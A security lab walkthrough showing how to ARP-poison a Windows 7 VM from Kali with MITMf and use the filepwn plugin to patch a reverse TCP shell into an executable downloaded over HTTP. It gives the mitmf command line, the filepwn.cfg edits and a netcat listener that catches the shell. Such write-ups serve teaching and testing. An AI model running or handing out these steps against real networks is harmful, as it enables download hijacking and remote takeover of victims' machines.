Injecting payloads on the fly using MITMf

Check out Dan's rogue AP version of this attack, with BDFproxy using MACH-O backdoors.


MITMf by byt3bl33der has several modules that help in automating man in the middle attacks.  This lab demonstrates the filepwn plugin being used in conjunction with the arp spoofing plugin to intercept executables being downloaded over http and patch our payload into them.

We'll be arp poisoning a virtual instance of Windows 7 with a Kali VM, and patching a reverse shell into an executable downloaded from an unsecured http site using internet explorer.

On the Windows 7 machine:

Run CMD, then ipconfig

--Take note of your gateway and IP address

On the Kali Machine:

Edit your sources.list ---> nano /etc/apt/sources.list

Make sure your hosts file matches:

## Regular repositories

deb http://http.kali.org/kali kali main non-free contrib

deb http://security.kali.org/kali-security kali/updates main contrib non-free

## Source repositories

deb-src http://http.kali.org/kali kali main non-free contrib

deb-src http://security.kali.org/kali-security kali/updates main contrib non-free

##################################

--Back in terminal

apt-get install mitmf

ifconfig

--Take note of your IP address

nano /usr/share/mitmf/config_files/filepwn.cfg

--Edit the host IP address to reflect your Kali linux host.

--Take note of the port number used for the callback on your Windows x32 reverse tcp shell (the binary we're working with is 32 bit, so port 6666 is default, and what I'm going with here.)

mitmf --arp --spoof --iface eth0 --host xxx.xxx.xxx.xxx --gateway yyy.yyy.yyy.yyy --target zzz.zzz.zzz.zzz --filepwn

--Plug in those numbers you took note of earlier

--In another terminal tab:

nc -l -p 6666

--Fill in the port value as the port you took note of from the filepwn.cfg file

Windows 7 Machine:

Open up internet explorer

Go to live.internals.com

Click an executable, preferably tcpview.exe

Save, then run it

--Check your kali host for a shell back to your netcat instance

No netcat? go to your windows host and run tcpview and look for an outbound connection to your local network.  Is the IP and port it's connecting to not your kali instance?  Correct it in pwnfile.cfg.

Some caveats:

Windows will warn you about running these modified binaries because backdoor factory strips the pe header, so there's no signature on it. There are ways around this but that's outside the scope of this writeup.

Also, remember the victim AV is off

Special thanks to Dan (http://lockboxx.blogspot.com/) for all the help

Thank you byt3bl33d3r, and secretsquirrel for all of your hard work developing these tools

References:

https://github.com/secretsquirrel/the-backdoor-factory

https://github.com/byt3bl33d3r/MITMf